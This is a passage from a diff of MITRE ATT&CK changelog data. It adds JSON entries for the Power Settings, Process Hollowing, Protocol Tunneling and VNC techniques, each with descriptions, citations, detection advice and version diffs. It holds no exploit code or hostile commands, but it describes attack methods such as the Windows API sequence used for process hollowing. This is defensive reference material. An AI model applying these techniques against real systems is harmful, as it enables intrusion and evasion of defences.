"https://www.proofpoint.com/sites/default/files/threat-reports/pfpt-us-tr-human-factor-report.pdf" + }, + { + "source_name": "Ryte Wiki", + "description": "Ryte Wiki. (n.d.). Retrieved March 5, 2024.", + "url": "https://en.ryte.com/wiki/Tracking_Pixel" + }, + { + "source_name": "qr-phish-agriculture", + "description": "Tim Bedard and Tyler Johnson. (2023, October 4). QR Code Scams & Phishing. Retrieved November 27, 2023.", + "url": "https://www.proofpoint.com/us/blog/email-and-cloud-threats/cybersecurity-stop-month-qr-code-phishing" + }, + { + "source_name": "ZScaler BitB 2020", + "description": "ZScaler. (2020, February 11). Fake Sites Stealing Steam Credentials. Retrieved March 8, 2023.", + "url": "https://www.zscaler.com/blogs/security-research/fake-sites-stealing-steam-credentials" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Philip Winther", + "Sebastian Salla, McAfee", + "Menachem Goldstein", + "Robert Simmons, @MalwareUtkonos", + "Elpidoforos Maragkos, @emaragkos", + "Joas Antonio dos Santos, @C0d3Cr4zy", + "Austin Herrin", + "Obsidian Security", + "Sam Seabrook, Duke Energy" + ], + "x_mitre_data_sources": [ + "Application Log: Application Log Content", + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nMonitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.6", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-05-31 04:18:44.567000+00:00\", \"old_value\": \"2024-04-19 13:26:16.082000+00:00\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf\", \"old_value\": \"https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf\"}}}", + "previous_version": "1.6", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1054: Software Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0015: Application Log (Application Log Content)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--ea071aa0-8f17-416f-ab0d-2bab7e79003d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2023-06-05 15:52:52.467000+00:00", + "modified": "2024-10-16 20:11:40.334000+00:00", + "name": "Power Settings", + "description": "Adversaries may impair a system's ability to hibernate, reboot, or shut down in order to extend access to infected machines. When a computer enters a dormant state, some or all software and hardware may cease to operate which can disrupt malicious activity.(Citation: Sleep, shut down, hibernate)\n\nAdversaries may abuse system utilities and configuration settings to maintain access by preventing machines from entering a state, such as standby, that can terminate malicious activity.(Citation: Microsoft: Powercfg command-line options)(Citation: systemdsleep Linux)\n\nFor example, `powercfg` controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.(Citation: Two New Monero Malware Attacks Target Windows and Android Users) Adversaries may also extend system lock screen timeout settings.(Citation: BATLOADER: The Evasive Downloader Malware) Other relevant settings, such as disk and hibernate timeout, can be similarly abused to keep the infected machine running even if no user is active.(Citation: CoinLoader: A Sophisticated Malware Loader Campaign)\n\nAware that some malware cannot survive system reboots, adversaries may entirely delete files used to invoke system shut down or reboot.(Citation: Condi-Botnet-binaries)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1653", + "external_id": "T1653" + }, + { + "source_name": "Sleep, shut down, hibernate", + "description": "AVG. (n.d.). Should You Shut Down, Sleep or Hibernate Your PC or Mac Laptop?. Retrieved June 8, 2023.", + "url": "https://www.avg.com/en/signal/should-you-shut-down-sleep-or-hibernate-your-pc-or-mac-laptop" + }, + { + "source_name": "CoinLoader: A Sophisticated Malware Loader Campaign", + "description": "Avira. (2019, November 28). CoinLoader: A Sophisticated Malware Loader Campaign. Retrieved June 5, 2023.", + "url": "https://www.avira.com/en/blog/coinloader-a-sophisticated-malware-loader-campaign" + }, + { + "source_name": "BATLOADER: The Evasive Downloader Malware", + "description": "Bethany Hardin, Lavine Oluoch, Tatiana Vollbrecht. (2022, November 14). BATLOADER: The Evasive Downloader Malware. Retrieved June 5, 2023.", + "url": "https://blogs.vmware.com/security/2022/11/batloader-the-evasive-downloader-malware.html" + }, + { + "source_name": "Two New Monero Malware Attacks Target Windows and Android Users", + "description": "Douglas Bonderud. (2018, September 17). Two New Monero Malware Attacks Target Windows and Android Users. Retrieved June 5, 2023.", + "url": "https://securityintelligence.com/news/two-new-monero-malware-attacks-target-windows-and-android-users/" + }, + { + "source_name": "Condi-Botnet-binaries", + "description": "Joie Salvio and Roy Tay. (2023, June 20). Condi DDoS Botnet Spreads via TP-Link's CVE-2023-1389. Retrieved September 5, 2023.", + "url": "https://www.fortinet.com/blog/threat-research/condi-ddos-botnet-spreads-via-tp-links-cve-2023-1389" + }, + { + "source_name": "systemdsleep Linux", + "description": "Man7. (n.d.). systemd-sleep.conf(5) \u2014 Linux manual page. Retrieved June 7, 2023.", + "url": "https://man7.org/linux/man-pages/man5/systemd-sleep.conf.5.html" + }, + { + "source_name": "Microsoft: Powercfg command-line options", + "description": "Microsoft. (2021, December 15). Powercfg command-line options. Retrieved June 5, 2023.", + "url": "https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/powercfg-command-line-options?adlt=strict" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Menachem Goldstein", + "Juan Tapiador" + ], + "x_mitre_data_sources": [ + "File: File Modification", + "Command: Command Execution" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Command-line invocation of tools capable of modifying services may be unusual and can be monitored for and alerted on, depending on how systems are typically used in a particular environment. \n", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS", + "Network" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-16 20:11:40.334000+00:00\", \"old_value\": \"2023-09-30 21:28:45.038000+00:00\"}, \"root['x_mitre_contributors'][0]\": {\"new_value\": \"Menachem Goldstein\", \"old_value\": \"Goldstein Menachem\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0017: Command (Command Execution)", + "DS0022: File (File Modification)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-14 17:21:54.470000+00:00", + "modified": "2024-09-12 15:11:45.602000+00:00", + "name": "Process Hollowing", + "description": "Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process. \n\nProcess hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. A victim process can be created with native Windows API calls such as CreateProcess, which includes a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs calls such as ZwUnmapViewOfSection or NtUnmapViewOfSection before being written to, realigned to the injected code, and resumed via VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Leitch Hollowing)(Citation: Elastic Process Injection July 2017)\n\nThis is very similar to [Thread Local Storage](https://attack.mitre.org/techniques/T1055/005) but creates a new process rather than targeting an existing process. This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1055/012", + "external_id": "T1055.012" + }, + { + "source_name": "Nviso Spoof Command Line 2020", + "description": "Daman, R. (2020, February 4). The return of the spoof part 2: Command line spoofing. Retrieved November 19, 2021.", + "url": "https://blog.nviso.eu/2020/02/04/the-return-of-the-spoof-part-2-command-line-spoofing/" + }, + { + "source_name": "Elastic Process Injection July 2017", + "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", + "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + }, + { + "source_name": "Leitch Hollowing", + "description": "Leitch, J. (n.d.). Process Hollowing. Retrieved September 12, 2024.", + "url": "https://new.dc414.org/wp-content/uploads/2011/01/Process-Hollowing.pdf" + }, + { + "source_name": "Mandiant Endpoint Evading 2019", + "description": "Pena, E., Erikson, C. (2019, October 10). Staying Hidden on the Endpoint: Evading Detection with Shellcode. Retrieved November 29, 2021.", + "url": "https://www.mandiant.com/resources/staying-hidden-on-the-endpoint-evading-detection-with-shellcode" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Process: Process Modification", + "Process: OS API Execution", + "Process: Process Access" + ], + "x_mitre_defense_bypassed": [ + "Application control", + "Anti-virus" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nProcessing hollowing commonly involves spawning an otherwise benign victim process. Consider correlating detections of processes created in a suspended state (ex: through API flags or process\u2019 thread metadata) with other malicious activity such as attempts to modify a process' memory, especially by its parent process, or other abnormal process behavior.(Citation: Nviso Spoof Command Line 2020)(Citation: Mandiant Endpoint Evading 2019)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-12 15:11:45.602000+00:00\", \"old_value\": \"2023-08-11 21:37:00.009000+00:00\"}, \"root['external_references'][3]['description']\": {\"new_value\": \"Leitch, J. (n.d.). Process Hollowing. Retrieved September 12, 2024.\", \"old_value\": \"Leitch, J. (n.d.). Process Hollowing. Retrieved November 12, 2014.\"}, \"root['external_references'][3]['url']\": {\"new_value\": \"https://new.dc414.org/wp-content/uploads/2011/01/Process-Hollowing.pdf\", \"old_value\": \"http://www.autosectools.com/process-hollowing.pdf\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1040: Behavior Prevention on Endpoint" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Access)", + "DS0009: Process (Process Creation)", + "DS0009: Process (Process Modification)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-15 16:03:39.082000+00:00", + "modified": "2020-03-27 17:15:35.372000+00:00", + "name": "Protocol Tunneling", + "description": "Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems. Tunneling involves explicitly encapsulating a protocol within another. This behavior may conceal malicious traffic by blending in with existing traffic and/or provide an outer layer of encryption (similar to a VPN). Tunneling could also enable routing of network packets that would otherwise not reach their intended destination, such as SMB, RDP, or other traffic that would be filtered by network appliances or not routed over the Internet. \n\nThere are various means to encapsulate a protocol within another protocol. For example, adversaries may perform SSH tunneling (also known as SSH port forwarding), which involves forwarding arbitrary data over an encrypted SSH tunnel.(Citation: SSH Tunneling) \n\n[Protocol Tunneling](https://attack.mitre.org/techniques/T1572) may also be abused by adversaries during [Dynamic Resolution](https://attack.mitre.org/techniques/T1568). Known as DNS over HTTPS (DoH), queries to resolve C2 infrastructure may be encapsulated within encrypted HTTPS packets.(Citation: BleepingComp Godlua JUL19) \n\nAdversaries may also leverage [Protocol Tunneling](https://attack.mitre.org/techniques/T1572) in conjunction with [Proxy](https://attack.mitre.org/techniques/T1090) and/or [Protocol or Service Impersonation](https://attack.mitre.org/techniques/T1001/003) to further conceal C2 communications and infrastructure. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1572", + "external_id": "T1572" + }, + { + "source_name": "SSH Tunneling", + "description": "SSH.COM. (n.d.). SSH tunnel. Retrieved March 15, 2020.", + "url": "https://www.ssh.com/ssh/tunneling" + }, + { + "source_name": "BleepingComp Godlua JUL19", + "description": "Gatlan, S. (2019, July 3). New Godlua Malware Evades Traffic Monitoring via DNS over HTTPS. Retrieved March 15, 2020.", + "url": "https://www.bleepingcomputer.com/news/security/new-godlua-malware-evades-traffic-monitoring-via-dns-over-https/" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Connection Creation" + ], + "x_mitre_detection": "Monitoring for systems listening and/or establishing external connections using ports/protocols commonly associated with tunneling, such as SSH (port 22). Also monitor for processes commonly associated with tunneling, such as Plink and the OpenSSH client. \n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"values_changed\": {\"root['description']\": {\"new_value\": \"Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems. Tunneling involves explicitly encapsulating a protocol within another. This behavior may conceal malicious traffic by blending in with existing traffic and/or provide an outer layer of encryption (similar to a VPN). Tunneling could also enable routing of network packets that would otherwise not reach their intended destination, such as SMB, RDP, or other traffic that would be filtered by network appliances or not routed over the Internet. \\n\\nThere are various means to encapsulate a protocol within another protocol. For example, adversaries may perform SSH tunneling (also known as SSH port forwarding), which involves forwarding arbitrary data over an encrypted SSH tunnel.(Citation: SSH Tunneling) \\n\\n[Protocol Tunneling](https://attack.mitre.org/techniques/T1572) may also be abused by adversaries during [Dynamic Resolution](https://attack.mitre.org/techniques/T1568). Known as DNS over HTTPS (DoH), queries to resolve C2 infrastructure may be encapsulated within encrypted HTTPS packets.(Citation: BleepingComp Godlua JUL19) \\n\\nAdversaries may also leverage [Protocol Tunneling](https://attack.mitre.org/techniques/T1572) in conjunction with [Proxy](https://attack.mitre.org/techniques/T1090) and/or [Protocol or Service Impersonation](https://attack.mitre.org/techniques/T1001/003) to further conceal C2 communications and infrastructure. \", \"old_value\": \"Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems. Tunneling involves explicitly encapsulating a protocol within another. This behavior may conceal malicious traffic by blending in with existing traffic and/or provide an outer layer of encryption (similar to a VPN). Tunneling could also enable routing of network packets that would otherwise not reach their intended destination, such as SMB, RDP, or other traffic that would be filtered by network appliances or not routed over the Internet. \\n\\nThere are various means to encapsulate a protocol within another protocol. For example, adversaries may perform SSH tunneling (also known as SSH port forwarding), which involves forwarding arbitrary data over an encrypted SSH tunnel.(Citation: SSH Tunneling) \\n\\n[Protocol Tunneling](https://attack.mitre.org/techniques/T1572) may also be abused by adversaries during [Dynamic Resolution](https://attack.mitre.org/techniques/T1568). Known as DNS over HTTPS (DoH), queries to resolve C2 infrastructure may be encapsulated within encrypted HTTPS packets.(Citation: BleepingComp Godlua JUL19) \\n\\nAdversaries may also leverage [Protocol Tunneling](https://attack.mitre.org/techniques/T1572) in conjunction with [Proxy](https://attack.mitre.org/techniques/T1090) and/or [Protocol Impersonation](https://attack.mitre.org/techniques/T1001/003) to further conceal C2 communications and infrastructure. \", \"diff\": \"--- \\n+++ \\n@@ -4,4 +4,4 @@\\n \\n [Protocol Tunneling](https://attack.mitre.org/techniques/T1572) may also be abused by adversaries during [Dynamic Resolution](https://attack.mitre.org/techniques/T1568). Known as DNS over HTTPS (DoH), queries to resolve C2 infrastructure may be encapsulated within encrypted HTTPS packets.(Citation: BleepingComp Godlua JUL19) \\n \\n-Adversaries may also leverage [Protocol Tunneling](https://attack.mitre.org/techniques/T1572) in conjunction with [Proxy](https://attack.mitre.org/techniques/T1090) and/or [Protocol Impersonation](https://attack.mitre.org/techniques/T1001/003) to further conceal C2 communications and infrastructure. \\n+Adversaries may also leverage [Protocol Tunneling](https://attack.mitre.org/techniques/T1572) in conjunction with [Proxy](https://attack.mitre.org/techniques/T1090) and/or [Protocol or Service Impersonation](https://attack.mitre.org/techniques/T1001/003) to further conceal C2 communications and infrastructure. \"}}}", + "previous_version": "1.0", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may tunnel network communications to and from a t1Adversaries may tunnel network communications to and from a 
>victim system within a separate protocol to avoid detection/>victim system within a separate protocol to avoid detection/
>network filtering and/or enable access to otherwise unreacha>network filtering and/or enable access to otherwise unreacha
>ble systems. Tunneling involves explicitly encapsulating a p>ble systems. Tunneling involves explicitly encapsulating a p
>rotocol within another. This behavior may conceal malicious >rotocol within another. This behavior may conceal malicious 
>traffic by blending in with existing traffic and/or provide >traffic by blending in with existing traffic and/or provide 
>an outer layer of encryption (similar to a VPN). Tunneling c>an outer layer of encryption (similar to a VPN). Tunneling c
>ould also enable routing of network packets that would other>ould also enable routing of network packets that would other
>wise not reach their intended destination, such as SMB, RDP,>wise not reach their intended destination, such as SMB, RDP,
> or other traffic that would be filtered by network applianc> or other traffic that would be filtered by network applianc
>es or not routed over the Internet.   There are various mean>es or not routed over the Internet.   There are various mean
>s to encapsulate a protocol within another protocol. For exa>s to encapsulate a protocol within another protocol. For exa
>mple, adversaries may perform SSH tunneling (also known as S>mple, adversaries may perform SSH tunneling (also known as S
>SH port forwarding), which involves forwarding arbitrary dat>SH port forwarding), which involves forwarding arbitrary dat
>a over an encrypted SSH tunnel.(Citation: SSH Tunneling)   [>a over an encrypted SSH tunnel.(Citation: SSH Tunneling)   [
>Protocol Tunneling](https://attack.mitre.org/techniques/T157>Protocol Tunneling](https://attack.mitre.org/techniques/T157
>2) may also be abused by adversaries during [Dynamic Resolut>2) may also be abused by adversaries during [Dynamic Resolut
>ion](https://attack.mitre.org/techniques/T1568). Known as DN>ion](https://attack.mitre.org/techniques/T1568). Known as DN
>S over HTTPS (DoH), queries to resolve C2 infrastructure may>S over HTTPS (DoH), queries to resolve C2 infrastructure may
> be encapsulated within encrypted HTTPS packets.(Citation: B> be encapsulated within encrypted HTTPS packets.(Citation: B
>leepingComp Godlua JUL19)   Adversaries may also leverage [P>leepingComp Godlua JUL19)   Adversaries may also leverage [P
>rotocol Tunneling](https://attack.mitre.org/techniques/T1572>rotocol Tunneling](https://attack.mitre.org/techniques/T1572
>) in conjunction with [Proxy](https://attack.mitre.org/techn>) in conjunction with [Proxy](https://attack.mitre.org/techn
>iques/T1090) and/or [Protocol Impersonation](https://attack.>iques/T1090) and/or [Protocol or Service Impersonation](http
>mitre.org/techniques/T1001/003) to further conceal C2 commun>s://attack.mitre.org/techniques/T1001/003) to further concea
>ications and infrastructure. >l C2 communications and infrastructure. 
", + "changelog_mitigations": { + "shared": [ + "M1031: Network Intrusion Prevention", + "M1037: Filter Network Traffic" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11 18:28:44.950000+00:00", + "modified": "2024-09-12 15:20:07.264000+00:00", + "name": "VNC", + "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC). VNC is a platform-independent desktop sharing system that uses the RFB (\u201cremote framebuffer\u201d) protocol to enable users to remotely control another computer\u2019s display by relaying the screen, mouse, and keyboard inputs over the network.(Citation: The Remote Framebuffer Protocol)\n\nVNC differs from [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) as VNC is screen-sharing software rather than resource-sharing software. By default, VNC uses the system's authentication, but it can be configured to use credentials specific to VNC.(Citation: MacOS VNC software for Remote Desktop)(Citation: VNC Authentication)\n\nAdversaries may abuse VNC to perform malicious actions as the logged-on user such as opening documents, downloading files, and running arbitrary commands. An adversary could use VNC to remotely control and monitor a system to collect data and information to pivot to other systems within the network. Specific VNC libraries/implementations have also been susceptible to brute force attacks and memory usage exploitation.(Citation: Hijacking VNC)(Citation: macOS root VNC login without authentication)(Citation: VNC Vulnerabilities)(Citation: Offensive Security VNC Authentication Check)(Citation: Attacking VNC Servers PentestLab)(Citation: Havana authentication bug)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1021/005", + "external_id": "T1021.005" + }, + { + "source_name": "Attacking VNC Servers PentestLab", + "description": "Administrator, Penetration Testing Lab. (2012, October 30). Attacking VNC Servers. Retrieved October 6, 2021.", + "url": "https://pentestlab.blog/2012/10/30/attacking-vnc-servers/" + }, + { + "source_name": "MacOS VNC software for Remote Desktop", + "description": "Apple Support. (n.d.). Set up a computer running VNC software for Remote Desktop. Retrieved August 18, 2021.", + "url": "https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac" + }, + { + "source_name": "Havana authentication bug", + "description": "Jay Pipes. (2013, December 23). Security Breach! Tenant A is seeing the VNC Consoles of Tenant B!. Retrieved September 12, 2024.", + "url": "https://lists.openstack.org/pipermail/openstack/2013-December/004138.html" + }, + { + "source_name": "macOS root VNC login without authentication", + "description": "Nick Miles. (2017, November 30). Detecting macOS High Sierra root account without authentication. Retrieved September 20, 2021.", + "url": "https://www.tenable.com/blog/detecting-macos-high-sierra-root-account-without-authentication" + }, + { + "source_name": "Offensive Security VNC Authentication Check", + "description": "Offensive Security. (n.d.). VNC Authentication. Retrieved October 6, 2021.", + "url": "https://www.offensive-security.com/metasploit-unleashed/vnc-authentication/" + }, + { + "source_name": "Gnome Remote Desktop grd-settings", + "description": "Pascal Nowack. (n.d.). Retrieved September 21, 2021.", + "url": "https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/grd-settings.c#L207" + }, + { + "source_name": "Gnome Remote Desktop gschema", + "description": "Pascal Nowack. (n.d.). Retrieved September 21, 2021.", + "url": "https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/org.gnome.desktop.remote-desktop.gschema.xml.in" + }, + { + "source_name": "Apple Unified Log Analysis Remote Login and Screen Sharing", + "description": "Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] \u2013 Working From Home? Remote Logins. Retrieved August 19, 2021.", + "url": "https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins" + }, + { + "source_name": "VNC Vulnerabilities", + "description": "Sergiu Gatlan. (2019, November 22). Dozens of VNC Vulnerabilities Found in Linux, Windows Solutions. Retrieved September 20, 2021.", + "url": "https://www.bleepingcomputer.com/news/security/dozens-of-vnc-vulnerabilities-found-in-linux-windows-solutions/" + }, + { + "source_name": "The Remote Framebuffer Protocol", + "description": "T. Richardson, J. Levine, RealVNC Ltd.. (2011, March). The Remote Framebuffer Protocol. Retrieved September 20, 2021.", + "url": "https://datatracker.ietf.org/doc/html/rfc6143#section-7.2.2" + }, + { + "source_name": "VNC Authentication", + "description": "Tegan. (2019, August 15). Setting up System Authentication. Retrieved September 20, 2021.", + "url": "https://help.realvnc.com/hc/en-us/articles/360002250097-Setting-up-System-Authentication" + }, + { + "source_name": "Hijacking VNC", + "description": "Z3RO. (2019, March 10). Day 70: Hijacking VNC (Enum, Brute, Access and Crack). Retrieved September 20, 2021.", + "url": "https://int0x33.medium.com/day-70-hijacking-vnc-enum-brute-access-and-crack-d3d18a4601cc" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Logon Session: Logon Session Creation", + "Network Traffic: Network Connection Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Use of VNC may be legitimate depending on the environment and how it\u2019s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using VNC.\n\nOn macOS systems log show --predicate 'process = \"screensharingd\" and eventMessage contains \"Authentication:\"' can be used to review incoming VNC connection attempts for suspicious activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\n\nMonitor for use of built-in debugging environment variables (such as those containing credentials or other sensitive information) as well as test/default users on VNC servers, as these can leave openings for adversaries to abuse.(Citation: Gnome Remote Desktop grd-settings)(Citation: Gnome Remote Desktop gschema)", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_system_requirements": [ + "VNC server installed and listening for connections." + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-12 15:20:07.264000+00:00\", \"old_value\": \"2023-03-30 21:01:46.879000+00:00\"}, \"root['external_references'][9]['description']\": {\"new_value\": \"Jay Pipes. (2013, December 23). Security Breach! Tenant A is seeing the VNC Consoles of Tenant B!. Retrieved September 12, 2024.\", \"old_value\": \"Jay Pipes. (2013, December 23). Security Breach! Tenant A is seeing the VNC Consoles of Tenant B!. Retrieved October 6, 2021.\", \"new_path\": \"root['external_references'][3]['description']\"}, \"root['external_references'][9]['url']\": {\"new_value\": \"https://lists.openstack.org/pipermail/openstack/2013-December/004138.html\", \"old_value\": \"http://lists.openstack.org/pipermail/openstack/2013-December/004138.html\", \"new_path\": \"root['external_references'][3]['url']\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1033: Limit Software Installation", + "M1037: Filter Network Traffic", + "M1042: Disable or Remove Feature or Program", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Creation)", + "DS0028: Logon Session (Logon Session Creation)", + "DS0029: Network Traffic (Network Connection Creation)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": 